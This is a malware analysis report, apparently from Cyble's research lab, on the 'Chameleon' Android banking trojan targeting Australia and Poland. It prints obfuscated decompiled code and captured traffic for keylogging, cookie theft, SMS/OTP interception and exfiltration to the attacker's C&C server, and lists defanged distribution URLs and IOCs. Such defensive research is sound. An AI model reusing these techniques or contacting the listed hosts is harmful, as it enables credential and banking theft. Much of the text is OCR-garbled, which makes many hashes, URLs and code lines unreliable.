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Banking Trojan targeting mobile users in Australia and Poland

Cyble Research & Intelligence Labs (CRIL) has identified a novel Android Banking Trojan, which we are referring to
as “Chameleon,” based on the commands used by the malware primarily due to the fact that the malware appears to
be a new strain and seems unrelated to any known Trojan families. The Trojan has been active since January 2023
and is specifically observed targeting users in Australia and Poland.

The Chameleon Banking Trojan utilizes the Accessibility Service to perform malicious activities like other Banking
Trojans. The malware pretends to be the popular cryptocurrency app CoinSpot, a government agency in Australia,
and IKO bank from Poland.

In January 2023, the Trojan was observed using icons of different software, such as ChatGPT, Chrome, Bitcoin, etc.,
to infect Android users, as illustrated in the image below.
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Figure 1 — Icons used by

malware
Chameleon malicious applications are distributed through compromised websites, Discord attachments, and
Bitbucket hosting services. The following URLs are known to be used for distributing the malware:

o hxxps:.//www[.Jrenatsoft.com[.]br/CoinSpot[.Japk

o hxxps://bitbucket|.Jorg/leaanner173/3/downloads/ATO.apk

o hxxps://cdn.discordappl.Jcom/attachments/1056744010670145596/1057757995200696391/Crypto_Collector].Japk
o hxxps://cdn.discordapp|.Jcom/attachments/1051452726615216201/1056574187218681936/LTC_GiveAway/.Japk

o hxxps://cdn[.Jdiscordapp.com/attachments/1056744010670145596/1057757994584117338/BCH_Cash[.Japk

o hxxps://bitbucket[.Jorg/emmon11/download/downloads/AdultFriendFinderApp[.Japk

The Chameleon Banking Trojan has the following capabilities:

+ Keylogging

o Overlay attack

e SMS-harvesting

¢ Preventing uninstallation
o Cookie stealer

o Lock grabber

¢ Anti-emulation technique
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¢ Auto-uninstallation
¢ Disabling Google Play Protect

The Chameleon Banking Trojan is currently in its early stages of development and has limited capabilities. Its
primary method of stealing users’ credentials is through injection and keylogging techniques. However, it is possible
that new features may be added to the malware in the future.

This analysis focuses on a recently discovered malware sample called CoinSpot.apk, with the SHA-256 hash value
of 153410238d01773e5c¢705¢c6d18955793bd61cb2e82c5¢c7656e74563bb43b3ffa.

The malware is disguised as a legitimate cryptocurrency application called CoinSpot from Australia and connects to
a Command and Control (C&C) server hxxp://146.70.41[.]143:7242/.

The image below displays the control panel of the Chameleon Banking Trojan.
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Figure 2 — Control Panel of Chameleon Banking Trojan
Technical Analysis

APK Metadata Information

o App Name: CoinSpot
+ Package Name: com.top.omit
o SHA256 Hash: 153410238d01773e5c705c6d18955793bd61cb2e82c5¢c7656e74563bb43b3ffa

The below figure shows the metadata information of the application.

APP ICON % FILE INFORMATION iAPP INFORMATION
[T CoinSpot.apk TIIE CoinSpot
0} [ size EREINLS T com.top.omit
Q ([T 3824022f901ebc2fal5al68a8dc5a20 [ Main Activity |
[EI1) 28afal9a4aa30b144387101a58e7152335f24eeb [ Target soK JIY min sok I Max sok |
BT 153410238d01773e5c705c6d18955793bd6 1cb2e82¢5¢ 76566 74563bb43b3ffa 21 1

Figure 3 — Application metadata information
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The malware initially performs anti-emulation checks, including verifying whether the device is rooted or debugging
is activated. If the malware identifies any one of these emulation checks, it will terminate its execution.

The below figure shows the code used by malware for anti-emulation checks.

if nddsost basedcbac. f070bgea0sasf 009
:lf "ce42e§5eBQ%EdeaZBlEb%lZfZSSB f9d765b8dc7f73315501b2915 == I'Ill]l] 1
try {
cedZe6628993edfSa231ebacl2f 2338, fod7e5badc7f 73e15201b2915 = new LocalServerSocket(ccdl741780ea3f 4641 Fccc3e756d78. mIc34b35f 96482
} catch (I0Exception unused) {

System.exit(0);
}
}
ced2ef6eB8993edf Sa231ebdc12f 2338, ME00945c68d699dSco4e7d () ;
if ((cc41741780ea3f464f35ccc3e756d78. m297e40deBeld1Bac2544c () .getApplicationInfo().flags & 2) 1= 0) {
System.exit(0);
}
if (Debug.isDebuggerConnected()) {
stem.exit(0);
}
if (ced2e6528993adfSa23lebac12f2338, m5757c69596c29¢cdS7esfal)) {
stem.exit(o);

}

}
Figure 4 — Anti-emulation checks

Upon identifying the targeted device, the Chameleon Banking Trojan requests the victim to activate the Accessibility
Service. Once the victim grants permission, the malware exploits the Accessibility Service to automatically grant
permissions, prevent uninstallation, disable Play Protect, and perform other malicious activities.
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Figure 5 — Abusing Accessibility Service

Meanwhile, in the background, the malware connects to the C&C server hxxp.//146.70.41].
[143:7242/api/v1/bots/a2dee0d3-9c1e-e 1aa75fce-88c64b9a9de and sends the basic device information such as
device version, model, root status, county, and location as shown in the below image.
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(1] hitp 14670, 41143:7242 POST  fapilviitotsladdee0d3-Scle-elaa?sfor.., o 00 v 50N 146.70,41.143 P, BOGD

1 hitpuif146,70,41.143:7242 GET fagilviibensiaades0d3-acl 200 85 = 146.70,41,143 Ap... BDEO
] hitpuif146,70,41.143:7242 POST  fagivlibets/aZdeend3-Bele-ol v 200 a7 soN 146.70,41,143 8080
fE! hitpsliwew coinspot.com.au GET 200 ISIED  HTML Buy Ramp: Sell Bitcoin, D, ¥ 1043010243 _csrf=rE3bPI0LL B0E0
i hitpiif146,70,41,143:7242 GET 200 285 sON 146.70,41,143 14:45:7312 4., BOE0
1z hisre-lbumna colnessd cam s GET i 200 ARIEEY  eoriee e WENRT.YERELETE] LegnIR1a A snen

Jest Responss

Elve = = Bl rew Bes Rk o =
1 POST fapi/vl/bots/a2deeOd3-Scle-elaa?Sfce-B8c64bSatde HTTP/1.1 1 HTTR/L.1 200 K

2 User-Agent: Mezilla/s.0 2 Ne-Powered By: Express

3 hecept -Language: UTF-8 5 Access-Control-Allow-Origin: *
4 Comtent-Type: application/x-wew-form-urlencoded 4 Access-Control-Allow-Headers: *

S Hogt: 146.70.41.143: 7242 = Content-Type: application/ison: charset=utf-8
& Connection: close

Cortent-Length: 45
' Accept-Bncoding: gzip, deflate ETag: W/ *2d-vdj k2vlvomu0) 05D L pc Ay No 20"
B Content-Length: 289 E Date: Wed, 12 Apr 2023 18:41:15 GHMT

9 9 Connection: close
10 ddates 10
TE AU 4N 27 0% 22aRdeeDd3- Fele -alaa TS oe - BBOS4D SaGde N 2T TN IR P AT I ITUITU AT FTCOUNT My 2T IM IR ITE 2N 2T ocat 11 {
10N 225 3NN 225 228 208 220 it 225 3N 22A0d rodd+ e SDK+ ZEN 2 2O 22wode L A 220 308 22Gen y pot Lon+Googl e 220 20N 22vers1onh 2N 3MM 22 *status” " 035402eS6845b5a 45791 eabdaa244 68"
2, 152F 30032 root S ER B ruek 20 22t agh 2R A 22dobrok IR0 1

Figure 6 — Malware sending the basic device information

Cookie Stealer:

After sending the basic device information, the malware opens the legitimate CoinSpot URL
https.//www.coinspot.com.au in a WebView, but in the background, it silently steals the cookies of the loaded URL
and sends them to the server using the ‘cookies’ command.

403 NRifo‘llG.?U.-“.l‘E?M] POST lapitvi/bots/addee0d3. Ocle elaaT5ce L4 200 292 J50N 146.70.41143 D6:40:2711A.. BOBD
Request Response
iy [l Hex = Fretry [ENETEN W =
1 POST fapifvl/bots/a2deeQd3-Scle-elaa?sfce-G8cGaboaddelog HTTP/1.1 L HTTR/1.1 200 0%

Z User-Agent: Mozilla/s.0 2 ¥-Powered-By: Express
¥ Accept-Language: UTF-8 3 Aceess-Control-MlLow-Origin: *
Content-Type: application/s-wew-form-urlenceded 4 Access-Control-#llow-Headers: *
Hast: 146.70,41,143:7242 S Content-Type: applicatiensison: charset=utf-8
Connection: close & Content-Length: 20

7 Accept-Encoding: gzip, deflate 7 ETag: Wi *14-YS3uE/meb5ikecT Mual LLNESU”
Cantent-Length: 213  Date: Tue, 11 Apr 2023 10:40:29 GMT
i Connection: close
10 bdata= 1
L TBN Z2coamand 225 38% 22cookiesN ZM 20N 22resul t N I AN 22Nt t pSA AN SCU BFS N 2Pww, colnspot L com . aukSCR2Flogine -%3Es csrf 14
4S0NZECTEATZ- 1Kk 0T Dud0TFALLY 3B+ Csua SOMTY AMT TwlT 307 3O V22t ypen 22N I 221 0NN TD "status”:"success”

Figure 7 — Malware stealing cookie for URLs loaded into WebView

The malware uses the below URL pattern to communicate with its C&C server for performing different malicious
activities:

o /task — malware sends a GET request and can receive a command in response to execute malicious tasks
¢ /log — malware sends stolen data from the victim’s device
« /statistic — malware sends accessibility log

Keylogger:

The malware has incorporated keylogging capabilities by exploiting the Accessibility Service. The malware monitors
and captures the keystrokes using the functions editLog() and writeLog(), and subsequently saves the keylogs in a

database along with the application package name. The keylogs are later sent to the C&C server via the
sendkeylogs() method.

The process is illustrated in the image below.
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public final veid|writelog(String str, String str2, Integer num) {
ccd4l741780ea3
sendkeylogs(str, str2, num. toStrlng(]J.

aInTable(2, new c218f8%aeaBbccaaSazbadecl?3dcl6(ccdl741780ea3f 4641 35ccc3a756d78. m9c3

}

public final voit‘ editlog(String str, boolean z) { '

Cursor mE864e088769547d9alaes = mEB54e0887659547d%alaes () ;

if (mEe864e088769547d9alaes = null) {
int parselnt = Integer.parselnt(mS8542088769547d9al425. getString (MEBS4=088769547d9alae5, getColumnIndex (cc417417802a3f 464f 35ccc3e756d78 . mAc34b3S
string valueof = q.valueof (M58642088769547d9a 1aeS. getString (mE8642088769547d9alaes. getColunnIndex (ccd1741780ea3f 464f 35cce3a756d78 . moc34b3s
int parselnt2 = Ir r.parselnt(mE864e088769547d9alaes. getString (m6864e088769547d9alaes. getColumnIndex (cc41741780ea3f 4641 35ccc3e 756478, moc34b3
string string = m6964—e088?6954?d9& laeS.getString (mE864e0BE769547d%alaes. getColumnIndex (cc41741780ea3f 4641 35cce3e 756d78. mBc34b 351 9648ae 548177 (n
if (2) {

str = coflabfafsebefegazfd7sacensf ef f $cee1632d4e50c6doe a78514af 503055 . mddBosbef 2ccedfestball (string, strl;

i
cc41741780ea3f 4641 35ccc3e756d78. mSd6e 4731367 Sae57Tbest () .updateDatal2, parselnt, new c218f89aeaBbccaaSazbadecl7?3dcls(cc4l741780ea3f 4641 35ccc3e?

sendkeylogsivalueDf, sir, —tring.valueDf lparselnt2]]; |
m5854203875954759316€5 closs(];
1
1 ‘L

public final voi‘ sendKeylogs(String str, String str2, String str3) { |
it (¢ TrrETENiTavef esabereretrreguets (" socket ) ) {
JsoNChject jSONObject = new JSDNDbJeI:t":,
try {

ct mobd918e4d377dd28eelaa = cdlafaZed80fda0fe31737abaacbbee. mobd918e4d377dd28ee0aa (cd2f c5d08e527c 1a51114ch458dchbac . f 830 09a3a4a21d 377232
:lf (mObdo18e4d377dd2Bee0aa. equals ("clicked" ) && str3.equals("1")) {
Cursor mEBGE4e0BE769547d0alae5 = mEB640B8765547d9alaes(];
if (mE2542088769547d5alaes = null) {
String string = mEB64e088769547d9alass. getString (mEBE4e088769547d9alaes. getColumnI ndex (cc41741780ea3f 4641 35cce3e756d78 . mOc3ab 35 96«
if (!string.equals(fe4faadbfasceacasdbe2d30a)) {
150M0b)ect. put (ccdl741780ea3f 4641 35ccc3e756d78. mOc34b35f 9648ae5481e77 (new bytel[]{-105, &0, 121, -5, -118, 94, 23, -87, 77, -6,
jSonObject.put (ccd1741780ea3f 464f 35ccc3e756d78, mOc34b35f 9648225481277 (new byte(]{-59, -o8, 28, -67, -82, 91, -83, -B2, -39, -1C
jSoNObject. put (ccd1741780ea3f 464f 3Scce3e756d78 . mOc34b35f 9648ae5481e77 (new byte[1{s5, -103, 74, -10, 28, -101, 18, 48, -10, 115,
jSsonobject. put (cc41741780ea3f 4641 35ccc3e756d78. moc34b35f 9648ae5481e77 (new byte[]{S, -11, -43, -109, S8, 1loo, 77, 78, 54, 112, ¢
HashMap hashMap = new HashMap();
hashMap . put [ cc41741780ea3f 464f 35ccc3e756d78. m9c 34b35f 0648225481277 (new byte[]{-45, 45, 1, B8, &7, 110, 97, 14, 60, -63, 0, 25,
hashMap . put [ cc41741780ea31 464f 35ccc3e756d78. mOc34b35f 964832548177 (new byte[]1{113, -15, 120, -80, 93, 108, &9, 106, 82, 30, -87
ce595560e1772753d7206f cobeB868S . mf 2aa7ef 8f 99318566e5ed (hashMap) ;
faafeadbf abcBac8tdbc2d3ta = string;

}

mEB54e088769547d%alaeS. close () ;

}

} else if (mobd918edd377dd28eetaa.equals(*all*}] {
]150NOb] ect. put (cc4l741780ea3f 464f 35ccc3e756d78. mIc34b3Sf 9648ae5481e77 (new byte[]{- 10, 80, 121, -5, -118, 94, 23, -87, 77, -6, 29, 45,
J50NOb] ect. put (ccdl1741780ea3f 464f 35ccc3e756d78. mOcIdb35f 0648225481277 (new bytel]{-23, -o8, 28, -67, -82, 91, -83, -82, -39, -109, -9§,
jsSonOhb)ect.put(ccdl7417802a3f 464f 3Sccec3e756d78. mc34b3Sf oB4B8ae5481e77 (new bytell{ss, -103, 74, -10, 28, -101, 18, 48, -10, 115, -50, 21
JSonch) ect. put (ccd1741780ea3f 4641 35ccc3e756d78. mOc34b35f 9648ae5481e77 (new byte[1{s5, -11, -43, -108, S8, loo, 77, 78, 54, 112, &7, 38, -
HashMap hashMap2 = new HashMap();
hashMap2.put (ccd1741780ea3f 464f 35cccIe756d78. mOc34b 35 9548ae5481e77 (new bytel]{-45, 45, 1, &8, &7, 110, 97, 14, 60, -63, 0, 25, 28, -1:
hashMap2. put (cc41741780ea3f 464f 35ccc3e756d78. mOc34b35f 964832548177 (new byte[1{113, -16, 120, -80, 93, 106, 69, 106, B2, 30, -87, 52,
ceS595569e1772753d72061 cobega68S. mf 2aa7ef 8 953185668 Sed (hashMap2) ;

}

} catch [JSOMException e) {
e.printStackTrace(];

Figt}re 8- Malware sending keay logs

Injection:

The malware monitors the accessibility event and checks if the “injection” variable is set to “True.” Once this variable
is found to be “True”, the malware calls upon the inject() function, which cross-checks the application’s package
name against a list of targeted applications stored in a local database. If a match is found, the malware proceeds
with the injection.

(eventType == 32 && coflabfafsebafagazfd76ace06fef f foee1632dde5006d9ea78514af 503054, mdd693bef 2ccadfeBiball (cd2f c5d09e527c 1a91114ch4589dcbde . anjection, Hools -.|I.
cOBeabeefacSdc336abecc052559212. inject (accessibili tyEvent) ;

public final void inject(AccessibilityEvent accessibilityEwvent) {

if (accessibilityEvent.getContentChangeTypes() '= Q) {
return;
1
1f (accessibilityEvent.getClasshame(] |= null &5 cd33418a7661babfaf2fdafozb3sszb . mfodbb2550b4anasd4sa2d (accessibi lityEvent. getClassName (). toString() )] {
ccdl1741780ea3f 464f 35ccc3e756d78. m297e40de8c 1d18ac2544e | | .startActivity (new Intent(ccdl741780ea3f 4641 3Sccc3e756d78. m297ed0de8c1d18ac2544c (), cd33418af76e
} else if (accessibilityEvent.getPackageMame() != null &6 cd33418a7661babfef2fdaf02b3562b . mfodbb2550b4a0a5d49682d [ accessibilityEvent. getPackageName () . toStr:
ccd1741780ea3f 464f 35ccc3e756d78. m207e40deBe 1d18ac 2544 | ) . startActivity (new Intent(ccdl741780ea3f 464f 3Sccc3e756d78. m207ed0deBe1d18ac2544e (), cd33418af6¢
N

}
Figure 9 — Starting injection activity
The injection is a process of creating an overlay on the targeted application by downloading HTML phishing pages
from the C&C server. The malware carries out validation to determine if the HTML phishing page for the targeted
application has already been stored in a database.

If the page is absent, the malware downloads it from the C&C server and stores it in a database. Once the download
process is finished, the malware loads the injection into a WebView, as demonstrated in the provided image.
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cursor

}
();
catch |
if (cursor
cursar

Creating an overlay window on the targeted application

Lock Grabber:

By exploiting the Accessibility Service, the malware can steal the victim’s device password. First, it identifies the type
of lock being used — whether it is a password, PIN, or even swipe pattern, and then saves the entered credentials
into the database with the lock_grabber command.
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Figure 13 — Storing stolen device password into a database

SMS Stealer:

The malware has registered an SMSBroadcast Receiver to monitor incoming text messages from the victim’s device
and send the stolen messages to the C&C server. The attacker can harvest the stolen messages later to obtain One-
Time Passwords (OTP) and bypass the Two-Factor Authentication (2FA) system employed by the bank.
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public final veid onReceive(Context context, Intent intent] {
if (intent.getAction().equalsIgnoreCase("android.provider.Telephony.sMs RECEIVED")) {
Bundle extras = intent.getExtras();
Jsonobject jSONChbject = new JSOMNDbject();

byte b = 21;
if (extras '= null && extras.containskey("pdus)) {
try {
t[] objarr = (Object[]) extras.get(ccd4l1741780ea3f 464f 3Scce3e756d78. mOc34b35f 9648ae5481e77 (new byte[l{-70, 22, 123, -95, 0, 106, -39,
if (objarr != null && cbjarr.length == 1) {

int 1 = 0;
while (i < objarr.length) {
SrnsMessage crea‘temePdu = SmMessage createFrodeul lby‘tt 1]

ob]Arr[:l] ;
=0 W tyte[]{-24, 113, s5, -107, b, 18, -124, .58, 81, -15, 5,
JSONObJect put | cc4l?4l7msa3f4ﬁ4f35ccc39756d?8 m9c34b3‘5f96483254819?7 new byte[]1{-42, -9, -1, -122, -96, -5, -7, 26, -16, -111, &
144}

b = 21;

tring str = cd2fcS5d09eS27c1a91114ch459dcbac. f695f50d1ab209ccbboarabol;
an bool = Boolean.TRUE:
if (Boolean.parseBoolean(String. valueOf (cdlafa2e480fd40fe31737abaatbbee . mObdo18e4d377dd28ee0aalstr, bool)))) {
if (ceadd086e03504e78db7793646244eb . m218db645a72f 137033e7b() ) {
try {
HashMap hashMap = new HashMap();
hashMap .put (cc41741780ea3f 464f 35c cc 30 756d78. M9c34b35f 9648aeS481e77 (new byte[]{s6, -103, 74, -10, 28, -101, 18, 48, -10,

5, !
hashMap. put (cc41741780ea3f 464f 35ccc3e756d78. mOc 34b35f 9648225481277 (new byte[l{113, -18, 120, -80, 93, 106, 69, 106, 82, 30, -8
hashMap.put (cc41741780ea3f 464f 35ccc3e756d78. mOc34b35f 9548225481277 (new byte[l{-100, 0, 87, -52, -59, -12, 97, 68, S5, , -1L

L (new byte[l{-45, 45, 1, B8, &7, 110, 97, 14, 60, -63, 0, 25,

€e585560e1772753d7206f cobe 8685 . mf 2aa7ef 8f 993185662 5d (hashmap ) ;
Fratch—terrerr o onosed—t

cc41741780ea3f 464f 35ccc3e756d78. mSd6e473136f 9aes7fbeof () . addDataInTable (0, new c218f89aeasbecaasazbadec173del6(cecd1741780ea3fa

! el::-ﬂfl;’al?‘c'loeaa‘faﬁﬂfBScccae?SSd?B.mdﬁea?BlBﬁfgaeS?fbegf':_'.addDataInTabLe:O, new c218f2%aeasbccaasSazbadec173del6(ccdl741780ea3f 46413
: 1
Figure 14 — Malware stealihg incoming SMSs
The Chameleon Banking Trojan utilizes shared preference variables such as “is_chameleon,” “app_chameleon”, and
“app_chameleon_name” for auto-uninstallation and preventing uninstallation of the malware. Based on the usage of

this shared preference variable, the malware is dubbed as “Chameleon Banking Trojan”.

The code displayed in the image below uses the Accessibility Service to identify whether the victim is performing any
actions associated with uninstallation, implying that the victim may have suspicions that the installed app is harmful.
If such activity is identified, the malware examines the values saved in the shared preference variable and uninstalls
itself from the device to erase any evidence of its existence.

(accessibilityEvent.getClassMame(] = null) {
tring charSequenceS = accessibilityEvent.getClasshamel() . toStringl);
if ((charSequenced.contains("packageinstaller”) || charSequenced.contains("miui*}) && ((charSequenceS.contains("Uninstalleractivity") || charSaguenceS.contain:

cc41741780ea3f 464 35ccc3e756d78. f 3c62f 487 fobaeaf3a1bS61d] . performBackClick () ;
it (cea0d0B6e03504e78db7793646244eb . m12a6436daa0a1470chef1()] { |

string valueof = String.valueof (edlafa2ed80fddnfe31737abaatbbee. mobd918ead377dd28ea0aa (cd2f eS5d0%e527¢1a91114chasodebae . app_chameleon, bool2));
1t ['Eoclean.parseBoolean(valuelTt]] {
try 1
l ccdl741780ea3f 4641 35ccc3e 756d78. m297ed0de8e 1d18ac2544c () . startActivity (new Intent("android.intent.action.DELETE", ur:.parse.'ccu?al?aoeaafa.Faf;
T batch— + 4 o+
}

}
b

Figure 15 — Malware auto-uninstallation code

The malware contains an unused feature that enables it to download a payload during runtime. The code snippet
shown in the image illustrates how the malware downloads the payload and saves it as a “jar” file. Later, the code
uses DexClassLoader to execute the payload.

Figure 16 — Downloading runtime module

Conclusion
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Based on our analysis, Chameleon Banking Trojan can pose a threat to Android users. The malware has been
operational since January 2023 and currently possesses the basic functionalities of a Banking Trojan.

However, there is a potential for malware to introduce new and more sophisticated features in the future, which could

expand its target base beyond its current scope. If such features are introduced, it could potentially make

Chameleon Banking Trojan a significant threat and put it in the same category as prominent and prevalent Banking

Trojans.

Cyble Research & Intelligence Lab (CRIL) will continue to monitor the evolution of this malware and keep our
readers updated with our latest findings.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

o Download and install software only from official app stores like Google Play Store or the Apple App Store.
o Use a reputed antivirus and internet security software package on your connected devices, such as PCs,
laptops, and mobile devices.

e Never share your Card Details, CVV number, Card PIN, and Net Banking Credentials on an untrusted source.

o Use strong passwords and enforce Multi-Factor Authentication wherever possible.

o Enable biometric security features such as fingerprint or facial recognition to unlock the mobile device
whereever possible.

* Be wary of opening any links received via SMS or emails delivered to your phone.

« Ensure that Google Play Protect is enabled on Android devices.

o Be careful while enabling any permissions.

o Keep your devices, operating systems, and applications up to date with the latest software.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name

Initial Access T1476 Deliver Malicious App via Other Means.
Initial Access T1444 Masquerade as a Legitimate Application
Collection T1517 Access Notifications

Collection T1409 Access Stored Application Data
Discovery 11418 Application Discovery

Persistence T1402 Broadcast Receivers

Collection T1412 Capture SMS Messages

Impact T1510 Clipboard Modification

Defense Evasion T1523 Evade Analysis Environment
Collection T1417 Input Capture

Defense Evasion 11406 Obfuscated Files or Information
Defense Evasion T1508 Suppress Application Icon

Defense Evasion T1576 Uninstall Malicious Application
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https://attack.mitre.org/versions/v7/techniques/T1476/
https://attack.mitre.org/versions/v10/techniques/T1444/
https://attack.mitre.org/versions/v10/techniques/T1517/
https://attack.mitre.org/versions/v10/techniques/T1409/
https://attack.mitre.org/versions/v10/techniques/T1418
https://attack.mitre.org/versions/v10/techniques/T1402
https://attack.mitre.org/versions/v10/techniques/T1412
https://attack.mitre.org/versions/v10/techniques/T1510
https://attack.mitre.org/versions/v10/techniques/T1523
https://attack.mitre.org/versions/v10/techniques/T1417
https://attack.mitre.org/versions/v10/techniques/T1406
https://attack.mitre.org/versions/v10/techniques/T1508
https://attack.mitre.org/versions/v10/techniques/T1576

Indicators of Compromise (IOCs)

Indicators Indicator Description
Type

SHA256  CoinSpot.apk

153410238d01773e5¢c705c6d18955793bd61cb2e82¢c5¢c7656e74563bb43b3ffa

a8afa19a4aa30b144387101a58e7f52335f24eeb SHA1 CoinSpot.apk
382e4022f901ebc2fa15a168a8dc5a20 MD5 CoinSpot.apk
hxxp://146.70.41[.[143:7242 URL C&C server

be125a98ba01f1bd318271b5de8114da139e5f78449ab3eb69c5aad4934026aed SHA256  Crypto_Collector.apk

4efe3b31836f9a319a8ad9fcfe1f0502b94a8c8f SHA1 Crypto_Collector.apk

8cc3a9caed337dcal0db40fb02db40fd9 MD5 Crypto_Collector.apk

cb507f6a2406274b56150f56bb7ef7cfd88f79600768f25b4a7d5441ec987835 SHA256  IKO.apk

26f9e235d2460d453671dfe96cc559e0cfcc159a SHA1 IKO.apk

36b8c9f74c5fc5c1cd4eaeldbefadab37 MD5 IKO.apk

55884b3b0018b42e500c8cad27d8ae3b3174d9%efca5aa57b34eb9202cb84913a SHA256  ATO.apk

53d25f56db36e0f1bd802209d6b745e2e9e9e8ef SHA1 ATO.apk

15243aa12a4e37db66278c16b50ee60d MDS ATO.apk

141e37754fa555e45eabe99ee7c854ab2d9f8b8ad89a73376f72c703602e3d17 SHA256  Chameleon
masquerading as
ChatGPT

7c7261c6c046410af097ddb4ada7007ada78d51e SHA1 Chameleon
masquerading as
ChatGPT

2b33d114fb8f3bd7065b46889afc1c44 MD5 Chameleon
masquerading as
ChatGPT

60b0e7e09fe91aa785b85315aad3850e7f47f70a5aab7ae9ef31ad1c50477f55 SHA256 BCH_Cash.apk

59c6ef85e25b688d8000e697ad2f3f7420dc7820 SHA1 BCH_Cash.apk

b8019¢c6df196812517c445f802143d08 MD5 BCH_Cash.apk

ef0785dcdfe4fff99dc79bd89f1d1c2b207e67cb8fe6940127dd655ec202a770 SHA256 LTC_GiveAway.apk

169bac058fe715dcee0625fe7¢968396423800c9 SHA1 LTC_GiveAway.apk

9f2b9c10e2d24e15da443d3c607edcOf MD5 LTC_GiveAway.apk
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